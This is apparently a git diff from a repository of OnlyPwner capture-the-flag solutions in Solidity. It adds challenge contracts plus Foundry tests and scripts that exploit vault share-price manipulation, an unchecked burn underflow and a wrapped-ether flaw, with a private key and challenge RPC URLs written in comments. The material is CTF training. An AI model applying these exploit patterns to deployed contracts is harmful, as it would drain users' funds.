b/contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { IOracle } from "./interfaces/IOracle.sol"; + +/// @dev For now, this is just an admin oracle. +/// @dev At some point, this will be made more decentralized. +contract Oracle is IOracle { + address public owner; + uint256 public vulToWethPrice; + + constructor() { + owner = msg.sender; + } + + /// @dev In practice, this will be called by the owner of the contract + /// @dev and pinned to the WETH-VUL pair on Uniswap. + function setVulToWethPrice(uint256 _price) external { + require(msg.sender == owner, "Oracle: Only owner can set price"); + vulToWethPrice = _price; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol new file mode 100644 index 0000000..5aee33a --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract ReentrancyGuard { + bool private entered; + + modifier nonReentrant() { + require(!entered, "ReentrancyGuard: reentrant call"); + entered = true; + _; + entered = false; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol new file mode 100644 index 0000000..f9f8cd1 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IFarming { + function deposit(uint256 amount) external; + function withdraw(uint256 sharesAmount) external; + function accumulateYield(address[] memory path) external; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol new file mode 100644 index 0000000..6fe0b86 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IMintableERC20 { + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + function transfer(address recipient, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function mint(address to, uint256 amount) external; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol new file mode 100644 index 0000000..cf99177 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol @@ -0,0 +1,8 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IOracle { + function owner() external view returns (address); + function vulToWethPrice() external view returns (uint256); + function setVulToWethPrice(uint256 _vulPriceInEth) external; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol new file mode 100644 index 0000000..234c9c3 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IWETH { + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + function transfer(address recipient, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function approve(address spender, uint256 amount) external returns (bool); + function deposit() external payable; +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol new file mode 100644 index 0000000..e9d2055 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20 } from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; + +contract MintableERC20 is ERC20 { + address public owner; + + constructor(string memory name, string memory symbol) ERC20(name, symbol) { + owner = msg.sender; + } + + function mint(address to, uint256 amount) external { + require(msg.sender == owner, "MintableERC20: Only owner can mint"); + _mint(to, amount); + } + + function transferOwnership(address newOwner) external { + require(msg.sender == owner, "MintableERC20: Only owner can transfer ownership"); + owner = newOwner; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol new file mode 100644 index 0000000..7aad161 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +// Unchanged (apart from new compiler version & syntax) from original at: +// https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code + +// Copyright (C) 2015, 2016, 2017 Dapphub + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.0; + +contract WETH9 { + string public name = "Wrapped Ether"; + string public symbol = "WETH"; + uint8 public decimals = 18; + + event Approval(address indexed src, address indexed guy, uint256 wad); + event Transfer(address indexed src, address indexed dst, uint256 wad); + event Deposit(address indexed dst, uint256 wad); + event Withdrawal(address indexed src, uint256 wad); + + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + receive() external payable { + deposit(); + } + + function deposit() public payable { + balanceOf[msg.sender] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + function withdraw(uint256 wad) public { + require(balanceOf[msg.sender] >= wad); + balanceOf[msg.sender] -= wad; + payable(msg.sender).transfer(wad); + emit Withdrawal(msg.sender, wad); + } + + function totalSupply() public view returns (uint256) { + return address(this).balance; + } + + function approve(address guy, uint256 wad) public returns (bool) { + allowance[msg.sender][guy] = wad; + emit Approval(msg.sender, guy, wad); + return true; + } + + function transfer(address dst, uint256 wad) public returns (bool) { + return transferFrom(msg.sender, dst, wad); + } + + function transferFrom(address src, address dst, uint256 wad) public returns (bool) { + require(balanceOf[src] >= wad); + + if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) { + require(allowance[src][msg.sender] >= wad); + allowance[src][msg.sender] -= wad; + } + + balanceOf[src] -= wad; + balanceOf[dst] += wad; + + emit Transfer(src, dst, wad); + + return true; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol new file mode 100644 index 0000000..d0e5d0d --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +// This file is only here to handle a workaround +// regarding different compiler versions. +// +// It can be safely ignored for the challenge. +// pragma solidity ^0.6.6; + +// import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol"; + +// contract CompileUniRouter {} diff --git a/contracts/CTF/ONLYPWNER/12.PAYDAY.sol b/contracts/CTF/ONLYPWNER/12.PAYDAY.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/ONLYPWNER/12.PAYDAY.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/foundry/lib/v2-core b/foundry/lib/v2-core new file mode 160000 index 0000000..4dd5906 --- /dev/null +++ b/foundry/lib/v2-core @@ -0,0 +1 @@ +Subproject commit 4dd59067c76dea4a0e8e4bfdda41877a6b16dedc diff --git a/foundry/lib/v2-periphery b/foundry/lib/v2-periphery new file mode 160000 index 0000000..0335e8f --- /dev/null +++ b/foundry/lib/v2-periphery @@ -0,0 +1 @@ +Subproject commit 0335e8f7e1bd1e8d8329fd300aea2ef2f36dd19f diff --git a/foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol b/foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol index 7b4a195..e4285bd 100644 --- a/foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol +++ b/foundry/script/CTF/ONLYPWNER/01.TUTORIAL.s.sol @@ -3,7 +3,7 @@ pragma solidity ^0.8.0; import { Script } from "forge-std/Script.sol"; import { console2 } from "forge-std/console2.sol"; -import { Tutorial, TutorialExploit } from "@contracts/CTF/ONLYPWNER/01.TUTORIAL.sol"; +import { Tutorial, TutorialExploit } from "@contracts/CTF/ONLYPWNER/02.TUTORIAL.sol"; /* diff --git a/foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol b/foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol deleted file mode 100644 index 9560474..0000000 --- a/foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol +++ /dev/null @@ -1,65 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.0; - -import { Script } from "forge-std/Script.sol"; -import { console2 } from "forge-std/console2.sol"; -import { MintableERC20, Vault, VaultExploit } from "@contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol"; - -/* - -forge script \ - foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol:REVERSE_RUGPULL_03_Exploit \ - --private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ - -vvvv - - -forge script \ - foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol:REVERSE_RUGPULL_03_Exploit \ - --rpc-url https://nodes.onlypwner.xyz/rpc/0f522907-012b-4132-800c-6c7d94257dc6 \ - --private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ - --with-gas-price 0 \ - -vvvv --broadcast -*/ - -contract REVERSE_RUGPULL_03_Exploit is Script { - Vault private victimInstance; - VaultExploit private exploitInstance; - address attackerAddress = address(6); - - function _localDevSetup() public { - MintableERC20 token = new MintableERC20("TOKEN", "TOKEN", 10 ether); - victimInstance = new Vault(address(token)); - token.transfer(attackerAddress, 9 ether); - } - - function run() public { - vm.startBroadcast(); - bool isDEV = false; - // 1. Local DEV SET UP - if (isDEV) _localDevSetup(); - // 2. Challenge SET UP - else victimInstance = Vault(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88); - - console2.log("ONLYPWNER CTF Challenge 3 Before Valut Address:", address(victimInstance)); - console2.log("ONLYPWNER CTF Challenge 3 Before Valut Balance:", address(victimInstance).balance); - - // Attack - exploitInstance = new VaultExploit(address(victimInstance)); - exploitInstance.attack(); - - vm.stopBroadcast(); - _check(); - } - - function _check() public { - console2.log( - "ONLYPWNER CTF Challenge 3 After Valut Balance:", victimInstance.token().balanceOf(address(victimInstance)) - ); - require(victimInstance.token().balanceOf(address(victimInstance)) == 0, "Not solved: Valut have token"); - - victimInstance.token().approve(address(victimInstance), 10 ** 17); - victimInstance.deposit(10 ** 17); - uint256 shares = victimInstance.shares(tx.origin); - require(shares == 0, "Not solved: Valut have shares"); - } -} diff --git a/foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol b/foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol index 4dc15f2..a57e0d8 100644 --- a/foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol +++ b/foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol @@ -3,7 +3,7 @@ pragma solidity ^0.8.0; import { Script } from "forge-std/Script.sol"; import { console2 } from "forge-std/console2.sol"; -import { Vault, IVault, VaultExploit } from "@contracts/CTF/ONLYPWNER/05.FREEBIE.sol"; +import { Vault, IVault, VaultExploit } from "@contracts/CTF/ONLYPWNER/01.FREEBIE.sol"; /* diff --git a/foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol b/foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol new file mode 100644 index 0000000..b6f01ae --- /dev/null +++ b/foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +import { Script } from "forge-std/Script.sol"; +import { console2 } from "forge-std/console2.sol"; +import { WrappedEther, WrappedEtherExploit } from "@contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol"; + +/* + +forge script \ + foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol:WRAPPED_ETHER_05_Exploit \ + --private-key be0a5d9f38057fa406c987fd1926f7bfc49f094dc4e138fc740665d179e6a56a \ + --with-gas-price 0 \ + -vvvv \ + --rpc-url https://nodes.onlypwner.xyz/rpc/894fd86c-c04b-49c2-8650-78eb4ba7aaf6 \ + --broadcast + +*/ + +contract WRAPPED_ETHER_05_Exploit is Script { + WrappedEther private victimInstance; + WrappedEtherExploit private exploitInstance; + address attackerAddress = address(0x34788137367a14f2C4D253F9a6653A93adf2D234); + + function run() public { + victimInstance = WrappedEther(0x78aC353a65d0d0AF48367c0A16eEE0fbBC00aC88); + vm.startBroadcast(); + + // Attack + WrappedEtherExploit hackInst = new WrappedEtherExploit(address(victimInstance)); + hackInst.attack{ value: 1 ether }(); + + vm.stopBroadcast(); + _check(); + } + + function _check() public view { + require(address(victimInstance).balance == 0, "Not solved: WETH have ether"); + } +} diff --git a/foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol b/foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol new file mode 100644 index 0000000..94d7db6 --- /dev/null +++ b/foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "forge-std/Test.sol"; +import { console2 } from "forge-std/console2.sol"; +import { MintableERC20, Vault, VaultExploit } from "@contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol"; + +/* + forge test --match-path foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol -vvvv +*/ + +contract REVERSE_RUGPULL_03_Test is Test { + // hacking attack address + address private hacker = address(2333); + Vault private victimInstance; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(hacker, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + MintableERC20 token = new MintableERC20("TOKEN", "TOKEN", 10 ether); + victimInstance = new Vault(address(token)); + token.transfer(hacker, 9 ether); + } + + function _log() public view { + console2.log( + "Hacker Balance:", + victimInstance.token().balanceOf(hacker), + "Valut Balance:", + victimInstance.token().balanceOf(address(victimInstance)) + ); + console2.log("Hacker Share:", victimInstance.shares(hacker), "Valut Share:", victimInstance.totalShares()); + } + + function test_Exploit() public { + vm.startPrank(hacker); + // 2.Run the exploit + _log(); + victimInstance.token().approve(address(victimInstance), type(uint256).max); + victimInstance.token().transfer(address(victimInstance), 9 ether - 1); + _log(); + victimInstance.deposit(victimInstance.token().balanceOf(hacker)); + _log(); + victimInstance.withdraw(victimInstance.totalShares()); + _log(); + + // 3.verify the exploit + _after(); + } + + function _after() public { + vm.stopPrank(); + // require(victimInstance.token().balanceOf(address(victimInstance)) == 0, "Not solved: Valut have token"); + victimInstance.token().approve(address(victimInstance), 10 ** 17); + victimInstance.deposit(10 ** 17); + uint256 shares = victimInstance.shares(address(this)); + // require(shares == 0, "Not solved: Valut have shares"); + } +} diff --git a/foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol b/foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol new file mode 100644 index 0000000..2c27182 --- /dev/null +++ b/foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "forge-std/Test.sol"; +import { console2 } from "forge-std/console2.sol"; +import { ImprovedERC20 } from "@contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol"; + +/* + forge test --match-path foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol -vvvv +*/ + +contract UNDER_THE_FLOW_04_Test is Test { + // hacking attack address + address private hacker = address(1); + address other = address(2); + ImprovedERC20 private erc20; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(hacker, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + erc20 = new ImprovedERC20( + "Improved ERC20", + "IMPERC20", + 18, + 100 ether); + + erc20.transfer(other, 100 ether); + } + + function test_Exploit() public { + vm.startPrank(hacker); + // 2.Run the exploit + console2.log("owner()", erc20.owner()); + unchecked { + erc20.burn(hacker, type(uint256).max + 1); + } + // 3.Verify the exploit + _after(); + } + + function _after() public { + vm.stopPrank(); + // require(erc20.balanceOf(address(hacker)) > 0, "Not solved: Attacker not have token"); + } +} diff --git a/foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol b/foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol new file mode 100644 index 0000000..2e1c1f4 --- /dev/null +++ b/foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "forge-std/Test.sol"; +import { console2 } from "forge-std/console2.sol"; +import { WrappedEther, WrappedEtherExploit } from "@contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol"; + +/* + forge test --match-path foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol -vvvv +*/ + +contract WRAPPED_ETHER_05_Test is Test { + // hacking attack address + address private hacker = address(1); + address other = address(2); + WrappedEther private weth; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(hacker, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + weth = new WrappedEther(); + + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 1)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 2)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 3)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 4)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 5)); + + // payable(hacker).transfer(1 ether); + } + + function test_Exploit() public { + vm.startPrank(hacker); + // 2.Run the exploit + WrappedEtherExploit hackInst = new WrappedEtherExploit(address(weth)); + + hackInst.attack{ value: 1 ether }(); + + // 3.Verify the exploit + _after(); + } + + function _after() public { + vm.stopPrank(); + require(address(weth).balance == 0, "Not solved: weth have token"); + } +} diff --git a/remappings.txt b/remappings.txt index c8ccd12..d312bd8 100644 --- a/remappings.txt +++ b/remappings.txt @@ -2,3 +2,5 @@ forge-std=foundry/lib/forge-std/src @prb/test=foundry/lib/prb-test/src @openzeppelin=foundry/lib/openzeppelin-contracts +@uniswap/v2-core=foundry/lib/v2-core +@uniswap/v2-periphery=foundry/lib/v2-periphery